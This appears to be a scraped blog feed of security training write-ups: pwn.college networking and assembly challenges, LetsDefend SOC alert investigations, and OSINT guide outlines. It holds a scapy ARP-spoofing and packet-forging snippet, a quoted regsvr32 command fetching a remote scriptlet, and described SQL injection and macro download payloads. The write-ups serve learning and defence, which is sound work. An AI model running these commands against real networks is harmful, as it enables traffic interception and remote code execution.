iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-port 8080

Denial of Service 1, 2, 3

These challenges demonstrated various DoS attack vectors:

SYN flood: Exhausting connection queues with incomplete handshakes
UDP flood: Overwhelming bandwidth with stateless packets
Application layer attacks: Slowloris-style attacks keeping connections open

Mitigation techniques included SYN cookies, rate limiting, and connection timeouts.

Phase 3: Protocol Deep Dive

Ethernet

Understanding MAC addresses, ARP, and the data link layer. The Ethernet frame structure (destination MAC, source MAC, EtherType, payload, FCS) became second nature.

IP

IPv4 header dissection: version, IHL, TOS, total length, identification, flags, fragment offset, TTL, protocol, checksum, source/destination addresses. The TTL field's role in preventing routing loops was particularly interesting.

TCP

The Transmission Control Protocol's reliability mechanisms:

Sequence and acknowledgment numbers
Windowing and flow control
Retransmission and timeout handling

TCP Handshake

The three-way handshake (SYN, SYN-ACK, ACK) and four-way teardown (FIN, ACK, FIN, ACK). I learned to craft handshake packets using scapy and observe state transitions.

UDP

Connectionless, unreliable, but fast. UDP's simplicity makes it ideal for DNS, DHCP, and streaming. No handshake means lower latency but no delivery guarantees.

UDP Spoofing 1-4

These challenges escalated in complexity:

Basic spoofing: Forging source IP addresses
Response spoofing: Injecting fake replies
Amplification attacks: Using UDP's stateless nature for reflection attacks (e.g., DNS amplification)
Sequence prediction: While harder with UDP, understanding how to craft valid responses

Phase 4: The Big Leagues

ARP

The Address Resolution Protocol maps IP addresses to MAC addresses. Its stateless, trust-based nature makes it vulnerable to spoofing. I learned to send gratuitous ARP replies and how arp -a can reveal the ARP cache.

Intercept

This challenge required passive interception - capturing traffic between two hosts without modifying it. Using tcpdump or scapy in promiscuous mode, I learned to sniff packets not destined for my MAC address.

Man-in-the-Middle

The final boss. Here's what I executed:

# ARP spoofing to redirect traffic
arp_spoof = ARP(op=2, pdst=target_ip, hwdst=target_mac, psrc=spoof_ip)
send(arp_spoof, loop=1, inter=2)

# Packet interception and modification
def process(pkt):
    if pkt[Raw].load == b"command: ":
        # Forge a response with "flag" instead of "echo"
        forged = IP(src=pkt[IP].dst, dst=pkt[IP].src) / TCP(...) / Raw(b"flag")
        send(forged)

The breakthrough came when I realized I didn't need IP forwarding - with ARP spoofing and active packet injection, I could intercept and modify traffic directly.

Key Takeaways

Network security is layered - vulnerabilities at any layer (ARP at L2, IP at L3, TCP/UDP at L4) can compromise higher layers.
Trust is dangerous - ARP, UDP, and even TCP sequence numbers (in older implementations) rely on trust that can be abused.
Encryption isn't optional - Many challenges (especially Sniffing Cookies) showed why plaintext protocols are unacceptable.
Tools are powerful - scapy for packet crafting, tcpdump for capture, iptables for firewall rules, nmap for scanning.
Defense requires depth - A single countermeasure isn't enough. ARP spoofing is mitigated by static ARP entries, DAI, and network segmentation.

Final Thoughts

This track transformed how I see network traffic. Every packet tells a story - who's talking, what they're saying, and whether we can trust them. The MITM challenge pulled everything together: I had to understand ARP to redirect traffic, TCP to maintain sequence/ack numbers, packet crafting to forge responses, and protocol analysis to know when to inject.

For anyone learning network security, I can't recommend pwn.college enough. These challenges are well-designed, progressive, and brutally educational.

All challenges completed on pwn.college's platform. Thanks to the Arizona State University team for creating such an excellent learning resource.

How I Learned Syscalls by Building a Web Server on pwn.college

Hitanshu Gedam — Sat, 16 May 2026 14:43:55 +0000

From Zero to Web Server

No full solutions here. Just the journey, the lessons, and the honest truth.

A Note on Learning (and Honesty)

Before I go any further: I'm not going to paste my solutions in this post.

pwn.college is a learning platform. The challenges are meant to be solved, not copied. If I just dumped my assembly code here, I'd be robbing someone else of the chance to struggle, fail, debug, and eventually feel that incredible rush when the checker program finally says PASS.

Also, I want to be completely transparent. Out of the 11 challenges in this module, there were fewer than 5 where I got so stuck that I reached for help from an AI. Not to generate full solutions, but to explain a syscall I didn't understand, or to help me reason through why something was failing. I still wrote every line of assembly myself. And every time I got help, I made sure I understood why the fix worked before moving on.

The rest, the majority, I solved on my own, using strace, gdb, the man pages, and a lot of trial and error.

Why am I telling you this? Because pretending I never needed help would be a lie. Getting stuck is normal. Asking for help, as long as you actually learn from it, is part of the process too. The goal isn't to be "pure." The goal is to understand.

And I understand this material now. That's what matters.

So instead of giving you code, I'm going to tell you what I learned. The concepts. The syscalls. The mistakes. The "aha!" moments. If you're working through the same dojo, this post will point you in the right direction, but you'll still have to do the work yourself.

Before the Web Server

Before I ever wrote a single line of HTTP response in assembly, I had to learn how computers actually work.

pwn.college's Computing 101 dojo isn't gentle. It throws you into the deep end and expects you to swim. Before reaching the "Building a Web Server" module, I completed eight modules in order:

Your First Program (5 challenges), How to make a program exit. Syscall 60, if you're counting.
Computer Memory (7 challenges), Pointers are just numbers. Memory is just bytes.
The Stack (4 challenges), Push, pop, call, ret, how functions really work.
Software Introspection (12 challenges), strace, ltrace, gdb, watching programs from the outside.
Output and Input (6 challenges), read and write are all you need.
Control Flow (7 challenges), Jumps, compares, loops, the logic of everything.
Assembly Assortment (4 challenges), Bitwise ops, shifts, condition codes.
Assembly Crash Course (30 challenges), Pure x86-64 assembly. 30 of them.

Total before the web server: 75 assembly programs.

By the time I reached "Building a Web Server," I had stared at register values until my eyes hurt. I had learned that mov is not a copy, it's a transfer. I had earned the right to be confused, stuck, and then unstuck.

So when I started the web server module, I wasn't starting from zero. I was starting from "I understand the stack, I understand syscalls, I understand that nothing is handed to me."

And I still spent a lot of time on it.

The Web Server Module: 11 Challenges

Here's the journey, what each challenge taught me, without giving away the actual code.

Challenge 1: Exit

What I had to do: Write a program that calls the exit syscall with status 0.

What I learned: Every program needs an exit. The kernel doesn't know you're done unless you tell it. The syscall convention on x86-64 Linux is: syscall number in rax, first argument in rdi, then syscall. That's the foundation everything else builds on.

Where I got stuck: Nowhere on this one. It's the warm-up.

Challenge 2: Socket

What I had to do: Create a TCP socket for IPv4.

What I learned: You can't just write AF_INET and SOCK_STREAM in assembly, those are C macros. You have to find the actual integer values. I learned to grep through /usr/include to find them. Turns out AF_INET is 2 and SOCK_STREAM is 1. The socket syscall returns a file descriptor that you'll use for everything else.

Where I got stuck: Nothing major. But it made me appreciate what C preprocessors actually do.

Challenge 3: Bind

What I had to do: Attach my socket to port 80 so clients could find it.

What I learned: bind takes a pointer to a sockaddr_in structure, 16 bytes of raw memory that you have to construct yourself. I learned what each field means: address family (2 bytes), port (2 bytes in network byte order, big-endian), IP address (4 bytes), and padding (8 bytes). Endianness matters: port 80 (0x0050) becomes 0x5000 when stored in memory.

Where I got stuck: This was my first real wall. I kept getting bind failures because I had the port byte order wrong. strace and the bind man page eventually saved me.

Challenge 4: Listen

What I had to do: Turn my bound socket into a passive listener.

What I learned: A socket created with socket() is "active", it expects to initiate connections. listen() makes it "passive" so it can receive incoming connections. The backlog parameter tells the kernel how many pending connections to queue.

Where I got stuck: I initially forgot that listen needs to be called after bind but before accept. My program hung forever until I looked up the correct order.

Challenge 5: Accept

What I had to do: Wait for a client to connect and get a new file descriptor for that client.

What I learned: accept blocks, it puts your program to sleep until someone connects. That's actually good, the kernel handles the waiting efficiently. When a client connects, accept returns a new file descriptor just for talking to that client. The original listening socket stays open for more connections.

Where I got stuck: I accidentally overwrote my listening socket fd with the client fd and lost the ability to accept more connections. Had to carefully separate my register usage.

Challenge 6: Static Response

What I had to do: Send a fixed HTTP response ("HTTP/1.0 200 OK\r\n\r\n") to any client that connects.

What I learned: This is where assembly stops being abstract. You can't just write printf(...). You have to put those bytes in memory yourself, one byte at a time. I also learned that HTTP uses \r\n for line endings, and a blank line (\r\n\r\n) separates headers from body.

Where I got stuck: Counting bytes. I miscounted the response length and the checker failed me because the response was truncated. Staring at hex dumps fixed it.

Challenge 7: Dynamic Response

What I had to do: Parse the GET request, extract the file path, open that file, read its contents, and send them back.

What I learned: Parsing HTTP manually means scanning byte by byte. Find the space after "GET", find the next space after the path, null-terminate the path string. Then open with O_RDONLY, read the file into a buffer, and write the header plus file contents.

Where I got stuck: Off-by-one errors in finding the spaces. Also forgot to null-terminate the path string at first, so open was getting garbage after the filename.

Challenge 8: Iterative GET Server

What I had to do: Keep the server running after one request, handling multiple clients sequentially.

What I learned: One infinite loop. After handling a client and closing its fd, just jump back to accept. The server stays alive forever. This is called an iterative server, one client at a time.

Where I got stuck: I forgot to close the client fd at the end of the loop. File descriptors leaked and eventually the server couldn't accept new connections.

Challenge 9: Concurrent GET Server

What I had to do: Handle multiple clients at the same time using fork().

What I learned: fork() creates an exact copy of the running process. The parent gets the child's PID; the child gets 0. Parent closes the client fd and goes back to accept. Child closes the listening socket and handles the request. Classic Unix pattern: parent listens, child handles.

Where I got stuck: Figuring out which process closes which file descriptor. Parent should never touch the request. Child should never call accept. Getting this separation right took a few tries.

Challenge 10: Concurrent POST Server

What I had to do: Handle POST requests by extracting the body and writing it to a file.

What I learned: POST requests have a body after the headers. To find it, scan for \r\n\r\n, the blank line that separates headers from body. Calculate body length = total bytes read minus header size. Open the file with O_WRONLY | O_CREAT (flags 1 and 64 combined = 65) and write the body bytes.

Where I got stuck: This was the hardest challenge. The body parsing logic was tricky, scanning for four bytes in a row. I also kept miscalculating the body length. And there was a specific requirement from the checker about closing (or not closing) the client socket that took me a while to discover.

Challenge 11: Web Server

What I had to do: Combine GET and POST into a single concurrent server.

What I learned: Check the first byte of the request: 'G' means GET, 'P' means POST. Branch to the right handler. Both send 200 OK when done. Both run inside fork(). I moved the 200 OK response to the .rodata section so I wasn't rebuilding it every time.

Where I got stuck: Making sure the parent and child didn't step on each other. Clear separation of responsibilities was the key. By this point, I had enough confidence from the previous 10 challenges to put it all together myself.

After the Web Server: Debugging Refresher

After building the web server, I completed Debugging Refresher (8 challenges). This module taught me how to properly inspect what I had built:

strace to trace every syscall my server made to the kernel. Incredibly useful for seeing exactly where something failed.
gdb for breakpoints, stepping through instructions, inspecting registers and memory.
ltrace for library calls (though my server made none, pure syscalls only).

Without debugging skills, assembly is blind. With them, you can see everything.

What I Actually Learned

The most important lesson

I spent a lot of time on these challenges. I don't remember every instruction I wrote. But I remember this: I can figure things out and make them work.

That's not arrogance. That's earned confidence. Before pwn.college, I wasn't sure I could write anything meaningful in assembly. Now I know I can build a concurrent web server from scratch, no libc, no runtime, just me and the kernel.

Once you've done that, everything else feels possible.

What the previous modules gave me

Syscall convention: number in rax, arguments in rdi, rsi, rdx, then r10, r8, r9
Stack discipline: sub rsp, N to allocate, add rsp, N to deallocate
Register preservation: rbx, r12-r15 survive function calls
Debugging: gdb and strace are your eyes into a running program

What the web server module taught me

Socket syscalls create network endpoints
HTTP is just text over TCP, parsed byte by byte
fork() is concurrency, simple, reliable, and ancient
\r\n\r\n is the most important 4-byte sequence in HTTP
File descriptors are just integers, and they get copied on fork()
Nothing is handed to you, but everything is possible

On getting help (the honest version)

Using AI on a few challenges didn't give me the answers, it gave me direction. I still wrote the code. I still understood why it worked. And I made sure I could explain the solution in my own words before moving on.

I think that's the right way to use AI in learning: as a tutor, not a crutch. Ask it to explain a concept, not to write the code for you. The difference matters.

The Full Journey (94 Challenges)

Before the web server (75 challenges):

Your First Program (5)
Computer Memory (7)
The Stack (4)
Software Introspection (12)
Output and Input (6)
Control Flow (7)
Assembly Assortment (4)
Assembly Crash Course (30)

The web server (11 challenges):

Exit → exit syscall
Socket → socket syscall, finding AF_INET and SOCK_STREAM
Bind → bind syscall, manual sockaddr_in, endianness
Listen → listen syscall
Accept → accept syscall
Static Response → hardcoded write, byte-by-byte strings
Dynamic Response → open, read, file serving
Iterative GET Server → infinite loop
Concurrent GET Server → fork
Concurrent POST Server → body parsing, open with O_CREAT
Web Server → GET + POST + concurrency

After the web server (8 challenges):

Debugging Refresher (8)

Total: 94 challenges. One dojo. One working web server in assembly.

If You Build Systems That Actually Matter

I don't know who's reading this. But if you work on operating systems, embedded devices, aerospace or defense software, cybersecurity tooling, or anything where "it just works" isn't good enough, you need "I understand exactly why it works", then you know why this matters.

I built this because I wanted to understand. Now I do.

Try It Yourself

The Computing 101 dojo is free on pwn.college. Start with "Your First Program." See how far you get.

If you get stuck, and you will, don't look for full solutions. Use strace. Use gdb. Read the man pages. Figure it out. That's where the learning happens.

And if you're truly stuck after genuinely trying? Ask for help, but make sure you learn from it. That's what I did.

Acknowledgments

pwn.college and Arizona State University for building this. The checker program for never lying to me. The 75 assembly programs before this one that made it possible. And the AI tutor I asked for help on fewer than 5 challenges, not for answers, but for explanations that unblocked me.

Some resources they recommend:

LiveOverFlow
Ike: The Systems Hacking Handbook
Reverse Engieering tutorial
Architecture 1001 - OpenSecurity2
x86-64 book
A game to teach you x86 assembly and one to stress test your knowledge!
A flowchart of x86 prefix and escape opcodes.
Detailed x86 reference

I built this because I wanted to understand. Now I do.
VENI. VIDI. VICI.
AD MELIORA!

Here's my LinkedIN if you wanna connect!

LetsDefend SOC338 - Lumma Stealer - DLL Side-Loading via Click Fix Phishing

Hitanshu Gedam — Mon, 27 Apr 2026 18:01:11 +0000

This time we are investigating another CRITICAL level alert.

We start with taking ownership of the alert and then head to the Investigation Channel and create a case.

Let's start the playbook:

We start with our instruction to parse email

From: update@windows-update[.]site
To: dylan[@]letsdefend.io
Subject: Upgrade your system to Windows 11 Pro for FREE
Date: Mar, 13, 2025, 09:44 AM
Action: Allowed
SMTP Address: 132.232.40.201
Attachment: No files, but there are URLs present.
Suspicious: Yes, because there were multiple 'Update Now' buttons, indicating a phishing attempt

If we copy the url from the email and look it up on VirusTotal we see the following:

11 out of 91 vendors flag this URL as malicious.

The next question is:

The the alert details, under the Action field, shows the value set to Allowed — confirming that the email was successfully delivered to the recipient.

Our next task is to delete the email

Next we move to the Email Security tab, look for the particular email and delete it.

Next we need to find out if Dylan accessed the malicious URL. We move to
Endpoint Security and see if the URL was accessed

We see that the URL was, in fact, accessed.

Our next step is to contain the host.

The machine is contained.

Our next step is to add the artifacts:

After putting Analyst's notes, we finish the playbook:

Now we close the alert on the monitoring page.

LetsDefend SOC336 - Windows OLE Zero-Click RCE Exploitation Detected (CVE-2025-21298)

Hitanshu Gedam — Sun, 26 Apr 2026 19:18:10 +0000

This is the alert we will be working with.
Let's start with taking the ownership of this alert/

Now let's go ahead to the Investigation channel and create a case for this alert.

Above is the screenshot of what we see on the NIST National Vulnerability Database about the CVE of this alert.
link: https://nvd.nist.gov/vuln/detail/CVE-2025-21298
The severity has a score of 9.8 which means it is CRITICAL.

This vulnerability allows attackers to execute remote code via specially crafted OLE (Object Linking and Embedding) objects without user interaction. Knowing this, I knew I needed to look for unusual child processes spawning from Office applications or script executions.

I went to the Endpoint Security tab and searched for the SMTP IP, looking through the "Processes" logs and here is what I found:

cmd.exe was executed at 08:06:08 AM with Outlook.exe as it's Parent Process which is quite a red flag since an email client is RARELY needed to spawn a command shell prompt
at 08:06:25 AM, cmd.exe spawned regsvr32.exe

Malicious command:

C:\Windows\System32\cmd.exe /c regsvr32.exe /s /u /i:http://84.38.130.118.com/shell.sct scrobj.dll

This command launches Windows Command Prompt to silently run regsvr32 with flags that suppress prompts (/s), unregister mode (/u), and pass a remote scriptlet URL via /i: to scrobj.dll, the Script Component runtime. In practice, this is a well-known “living off the land” technique often called Squiblydoo, where attackers abuse trusted Windows binaries to download and execute malicious code from a remote server while bypassing some application controls. The URL shown (http://84.38.130.118.com/shell.sct) suggests retrieval of a .sct scriptlet named shell.sct, which is highly suspicious and commonly associated with malware payload delivery, persistence, or remote command execution. On a real system, this should be treated as a likely malicious execution attempt and investigated immediately (process tree, network logs, DNS resolution, downloaded content, persistence artifacts, EDR alerts).

I head to Email Security as look for an email from the sender projectmanagement[@]pm[.]me

It contains an attachment named mail.rtf with "infected" as its password.

Now I go to VirusTotal and search the file hash on it

25 out of 61 vendors flag this file as malicious.

Because regsvr32.exe was used to run a remote script and possibly leverage scrobj.dll, the activity strongly suggested an ongoing system compromise. Since the remote payload’s exact functionality was unknown—it could have been a reverse shell, ransomware loader, or command-and-control beacon—the system needed to be isolated immediately.

Following were my answers for the playbook:

Looking at the above screenshot we can see the source IP (internal network) contacted the destination IP which is the SMTP IP in the alert. So, C2 communication did take place

We already contained the affected host.

Artifacts are added:

After adding the Analyst's notes, we finish the playbook:

LetsDefend SOC250 - APT35 HyperScrape Data Exfiltration Tool Detected

Hitanshu Gedam — Sun, 26 Apr 2026 12:15:58 +0000

We start by taking the ownership of the alert.

Next we create case for the alert.

Next step is for us too start the playbook

Before we move ahead, let's search for the file's hash on VirusTotal:

50 out of 70 vendors flag it as malicious, enough for us to conclude that is is.

Next we move on to Endpoint Security to find if the malware was actually running on the infected host, and from the above screenshot we see that it is.

Since the rule says that it was a data exfiltration attempt, the next step is we move on to Log Management and filter the logs with the IP as the filter.
The firewall action saying SUCCESS, means that the firewall allowed it.

This is the screenshot of a log stating a successful logon (EventID 4624) by the source IP 173.209.51[.]54.

I look up the IP address on the Threat Intel tab and find out that it is associated with APT35 CharmingKitten (https://malpedia.caad.fkie.fraunhofer.de/actor/charming_kitten).

This is the IP that was contacted by the host after the program ran.

This IP belongs to the malicious IP

After searching for Arthur's email id (arthur@letsdefend[.]io) in Email Security, there's no traffic.

After checking further in Endpoint Security, we see a program MpCmdRun.exe
which ran the command SignaturesUpdateService with the -ScheduleJob and -UnmanagedUpdate parameters. This means that the file was able to modify the signatures

Let's start the playbook

Analyst's notes:
On December 27, 2023, at 11:22 AM, I identified an alert for suspicious behavior linked to a malicious file (hash: cd2ba296828660ecd07a36e8931b851dda0802069ed926b3161745aae9aa6daa), which VirusTotal confirmed as malicious with a score of 51. Upon investigation, I found that the file executed EmailDownloader.exe, though no associated emails were found in the email security logs. Log analysis revealed a file download at 11:21:48 on the host Arthur, where explorer.exe launched EmailDownloader.exe at 11:21:37, followed by MpCmdRun.exe running SignaturesUpdateService -ScheduleJob -UnmanagedUpdate at 11:38:10. The host was immediately contained with no further compromise, and I recommend blocking the attacker’s IP address and resetting the host’s password.

Now we finish the playbook and close the alert.

LetsDefend SOC287 - Arbitrary File Read on Checkpoint Security Gateway [CVE-2024-24919]

Hitanshu Gedam — Sun, 26 Apr 2026 08:03:32 +0000

We start with taking ownership of the alert.

Our next step is to create a case for starting our investigation.

After we start the playbook

We need to understand why the alert was triggered

We start with examining the rule name SOC287 - Arbitrary File Read on Checkpoint Security Gateway [CVE-2024-24919] and using OSINT to find out more information about the reporte CVE

This is the screenshot of the NIST National Vulnerability database webpage about the above CVE
link: https://nvd.nist.gov/vuln/detail/cve-2024-24919

Description of the CVE:
Potentially allowing an attacker to read certain information on Check Point Security Gateways once connected to the internet and enabled with remote Access VPN or Mobile Access Software Blades. A Security fix that mitigates this vulnerability is available. The base score (severity) of it is 8.6 which is HIGH.

From the description of the alert, we know it was "Allowed".

Our next step is to be collecting data to get a better understanding of the communication traffic.

Above is the screenshot of the Threat Intel tab on LetsDefend after we search for the source IP on it.

This is what we get after we search for the IP and look at its reputation on VirusTotal:

The geolocation of the IP address is Hong Kong.
We can now confirm the traffic is malicious and allowed, with low confidence since 2 out of 94 vendors found it malicious.

Checking the IP's reputation on AbuseIPDB:

Below is what we find on Cisco Talos Intelligence:

link: https://talosintelligence.com/reputation_center/lookup?search=203.160.68.12

The next step for us is examining the HTTP traffic:

This is a POC for the CVE exploit:
https://github.com/un9nplayer/CVE-2024-24919

Let's dive in the logs now.

Looks like our attacker is attempting to navigate the file system of a server to access sensitive files like /etc/passwd and /etc/shadow on Unix-based systems, which contains user account information.

Answer: LFI & RFI

Now we have to check if it is a planned test.
After checking the Email Security tab and searching for the IP addresses and the hostname, we see no such mail regarding a notification of any planned test. We can conclude it is NOT a planned test.

We saw the source IP is an external IP from Hong Kong.
so the traffic is moving from Internet -> Company Network

The attack was successful.

The next step for us is to contain the host.

Based on what we have uncovered during our investigation it would be wise for us to contain this server endpoint to prevent further damages.

Add artifacts:

Here in this case we need Tier 2 escalation

After adding Analyst's notes we finish the playbook and close the alert.

LetsDefend SOC127 - SQL Injection Detected

Hitanshu Gedam — Fri, 24 Apr 2026 16:40:45 +0000

Above is the screenshot of the alert that we are going to investigate.

We start with taking the ownership of the alert and then head to the investigation channel.

Now we create the case for this alert.

The next thing for us to do is starting the playbook.

The next thing I do is copy the url from the Request URL field and head to CyberChef to URL Decode it:

It code looks like a malicious HTTP GET request trying to combine multiple attacks into one command:

SQL Injection (Boolean + Union-Based)
The attacker injects AND 1=1 to confirm the parameter is vulnerable, followed by a UNION ALL SELECT query to extract table_name from information_schema.tables. This aims to enumerate the database schema.
Reflected XSS Payload
The string 'alert("XSS")' is injected into the UNION query. If unsanitized in the HTTP response, it will execute JavaScript in the victim's browser — used for session hijacking.
Command Injection via xp_cmdshell
The attacker calls xp_cmdshell('cat ../../../etc/passwd'), a SQL Server stored procedure that runs OS-level commands. This attempts to read the system's password file, indicating privilege escalation or host compromise. (I looked up the use of the command)
Evasion Techniques Observed
The payload uses --/**/ to break the comment without spaces (bypassing naive WAF rules) and a # at the end to terminate the query early. The 200 OK response suggests the server executed at least part of the request.

The HTTP GET request contains HTTP/1.1 200 865, here the number 200 means that the attack was successful.

We can conclude that it is malicious

We can answer this easily, it is the name of the alert: SQL Injection

We go to the Email Security tab and check for the hostnames and IP addresses and check for any email that may be regarding a planned test, alas we find none.

Next we go to VirusTotal and check the reputation of the Source IP address:

9/94 vendors flag this IP as malicious, so we can say it is malicious, with low confidence.

It was NOT a planned test.

The destination IP is a part of the company network, and the source IP, as we know, is an external IP.
Internet -> Company Network

YES, the attack was successful since we can see the code 200 in the HTTP Request

Now we move on to the containment phase.

Artifacts added:

Do we need Tier 2 escalation? Answer: Yes, since we know the attack was successful.

After adding Analyst's notes, we close the playbook:

Now we close the alert:

True positive alert, malicious HTTP traffic detected and successful on our internal server. Escalation to Tier 2 needed for deeper investigation and forensics

LetsDefend SOC205 - Malicious Macro has been executed

Hitanshu Gedam — Fri, 24 Apr 2026 12:49:55 +0000

Above is the alert we see which is a "Medium" severity alert.

We start with taking the ownership of the alert and start to investigate it.

Next we go ahead to the investigation channel and create the case
for this investigation

The next step for us is to start the playbook.

We look up the file hash on VirusTotal and here is what we find:

We can conclude that the file is malicious since 31 out of 67 vendors have flagged it malicious.

After searching the IP on Log Management tab, we find the following information:

At 8:41 a file named C:\Users\LetsDefend\Downloads\edit1-invoice.docm.zip has been created (EventID 11 - File Created)
User opens the Document and a macro code executes PowerShell command and execute the download of the remote ressource(messbox.exe and save it as mess.exe) at hxxp[:]//www[.]greyhathacker[.]net/tools/messbox[.]exe
PowerShell caused a DNS lookup for the C2 host (92[.]204[.]221[.]16)

We search for the file name on the Email Security tab and find an email that was used to deliver this file to Jayne

From: jake.admin@cybercommunity.info
To: jayne@letsdefend.io
Subject: February Membership Fee
Date: Feb, 28, 2024, 08:12 AM
Action: Allowed

Attachment: edit1-invoice.docm.zip
Password: infected

Since we know that the file is malicious and was executed on the host Jayne, we need to contain that host.

Host is successfully contained.

Defined threat indicator: Other
Check if the malware is quarantined/cleaned: Not quarantined
The malware is: malicious
C2: accessed
Containment is done.

Artifacts added:

Analyst's note added:

`
On February 28, 2024, at 08:42 AM, a user on host Jayne (IP: 172.16.17.198) opened a malicious macro-enabled Word document named edit1-invoice.docm. The embedded macro executed a PowerShell command that attempted to download a remote executable from www[.]greyhathacker[.]net (92.204.221[.]16). This activity was logged by Sysmon and other endpoint telemetry, including DNS queries and script block execution.

Earlier, at 08:12 AM, a phishing email originating from jake.admin[@]cybercommunity[.]info was sent to Jayne, containing the malicious document.

This incident is classified as high severity, as it enabled the download and potential execution of malware. Immediate containment measures included isolating the affected host, preserving relevant artifacts, and defanging the IOCs for safe reporting.
`

PLaybook is now completed:

Now we close the alert.

Letsdefend SOC335 - CVE-2024-49138 Exploitation Detected

Hitanshu Gedam — Tue, 21 Apr 2026 19:06:07 +0000

Take ownership of the alert.

Create case

There is a malicious process named svohost.exe which is named close to svchost.exe. Svchost.exe (Service Host) is an essential Windows system process that loads and manages multiple background services (DLL-based) to save system resources and improve stability.

Weird name for the process user
EC2AMAZ-ILGVOIN\LetsDefend enough to spark doubt and take the alert seriously.

Looking at the file hash, I decided to search for it on Virustotal.

50 out of 72 vendors flag this file as malicious on Virustotal

Moving onto Endpoint security:

This PowerShell script downloads a password-protected ZIP file (service-installer.zip) from a remote S3 bucket to C:\temp, then uses 7-Zip to extract the archive with the password infected into the same directory. After extraction, it deletes the original ZIP file and executes svohost.exe from the extracted service_installer folder. This behavior is highly indicative of malware delivery and execution, as it retrieves a payload from an external source, extracts it using a hardcoded password (often used to evade static scanning), and launches an executable with a name (svohost.exe) that mimics a legitimate Windows process (svchost.exe) to avoid detection.

This is the information from svohost.exe on the endpoint "Victor"

When I search for the affected host's (Victor) IP in Log Management, and run through the logs, I find there have been multiple failed logon attempts targeting the destination's RDP port (port 3389).

EventID 4625 (failed logon)
Error code 0xC000006D (bad username or password)
Attempts for accounts like "admin" and "guest"
Source IP: 185[.]107[.]56[.]141

For successful logon:

EventID 4624 (successful logon)
Logon Type 10 (RemoteInteractive) (typically RDP)
Username: Victor

Next, I search for the source IP 185[.]107[.]56[.]141 in Threat Intel on Letsdefend, and the IP is tagged "Brute Force"

a strong confirmation that the activity was malicious.

EventID: 313
Event Time: Jan 22, 2025, 02:37 AM
Rule: SOC335 — CVE-2024–49138 Exploitation Detected
Alert category: True Positive

For answering the questions of the playbook

I pick the first option because of the command we saw that downloads a malicious file from a remote S3 bucket and then executes svohost.exe. Such behavior is a red flag for outbound connections to Command and Control (C2) infrastructure.

The malware was allowed and not quarantined or cleaned up.

Next we move ahead with analyzing the malware. From the Virustotal scan, we know it is malicious.

In Log Management, the suspicious IP (185.107.56.141) appears in events targeting the host (172.16.17.207) and is also tied to remote access activity, so the malicious address was observed in logs.

Next, we move ahead with containing the affected host.

Adding the artifacts, the malicious sender IP, the MD5 hash of the malicious file (from Virustotal), and the malicious code snippet that was running on the terminal.

Analyst's notes:
I have determined this alert to be a True Positive, as the host Victor (172.16.17.207) executed a suspicious look-alike binary, svohost.exe, from C:\temp\service_installer\ under an unusual user context with powershell.exe as its parent, and the file hash is tagged in Threat Intel with CVE-2024-49138. Log Management reveals that the source IP 185.107.56.141 repeatedly targeted the host over RDP (port 3389), with Windows security events showing multiple failed logons (4625 / 0xC000006D) followed by a successful remote logon (4624, Logon Type 10) from the same IP, indicating a successful brute force attack—further supported by Threat Intel flagging the IP as "Brute Force." Since the device action was logged as "Allowed," real-world containment would require immediate isolation of the endpoint, blocking the malicious IP, quarantining svohost.exe, and resetting compromised credentials.

DEV Community: Hitanshu Gedam

Reading the Wild: A Guide to Environmental Analysis in OSINT Investigations (OSINT series Part 2)

Introduction

Table of Contents

Why Environmental Analysis Matters

Key Benefits

Challenges and Limitations

Flora Analysis: Reading the Vegetation

Key Vegetation Indicators

Flora Analysis Process

Seasonal Vegetation Patterns

Tools for Flora Identification

Fauna Analysis: Wildlife as Location Indicators

Key Fauna Indicators

Fauna Analysis Process

Practical Example

Tools for Fauna Identification

Terrain and Geological Analysis

Key Terrain Indicators

Terrain Analysis Process

Tools for Terrain Analysis

Climate and Weather Indicators

Key Climate Indicators

Weather as OSINT Data

Weather Analysis Process

Tools for Climate Analysis

Integrated Environmental Analysis

Combining Multiple Indicators

Practical Workflow

Case Study: Environmental Analysis in Action

Real-World Applications

Environmental Crime Investigations

Conflict Zone Documentation

Marine Investigations

Citizen Science Integration

Conclusion

Key Takeaways

Further Resources

Species Identification

Satellite and Terrain Data

Weather and Climate

Geolocation Tools

Communities and Learning

About the Author

📌 Tags

The Ultimate Guide to OSINT: Framework, Ethics, Tools & Techniques (OSINT Series Part 1)

Introduction

1) The OSINT Framework

What is the OSINT Framework?

Key Features of the OSINT Framework

OSINT Framework Categories

2) The OSINT Cycle

1. Planning & Direction

2. Collection (Gathering)

3. Processing (Data Enrichment)

4. Analysis & Production

5. Dissemination & Integration

6. Evaluation & Feedback

The Iterative Nature of the OSINT Cycle

Example: OSINT Cycle in Action

3) OSINT Ethics and Legal Considerations

Key Legal Frameworks

Key Ethical Considerations

Example: Ethical Dilemma

Legal Considerations in Practice

4) OSINT Tools and Resources

Building Your OSINT Toolkit

Search and Discovery Tools

General Search Engines

Specialized Search Tools

Basic Search Operators

Google-Specific Operators

Advanced Google Operators

Social Media Investigation Tools

Cross-Platform Tools

Twitter/X Tools

Instagram Tools

Facebook Tools

People Search and Background Check Tools

General People Search